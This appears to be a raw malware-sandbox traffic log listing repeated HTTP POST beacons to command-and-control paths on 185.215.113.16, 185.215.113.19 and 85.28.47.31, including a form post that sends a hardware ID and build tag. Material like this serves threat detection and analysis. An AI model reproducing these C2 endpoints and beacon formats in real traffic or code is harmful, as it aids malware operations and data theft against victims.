Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDBFIIECBGDGDGDHCAKHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 36 41 43 44 37 44 43 45 35 32 33 31 38 31 37 37 30 34 35 37 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 2d 2d 0d 0a Data Ascii: ------EGDBFIIECBGDGDGDHCAKContent-Disposition: form-data; name="hwid"F6ACD7DCE5231817704571------EGDBFIIECBGDGDGDHCAKContent-Disposition: form-data; name="build"sila------EGDBFIIECBGDGDGDHCAK--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
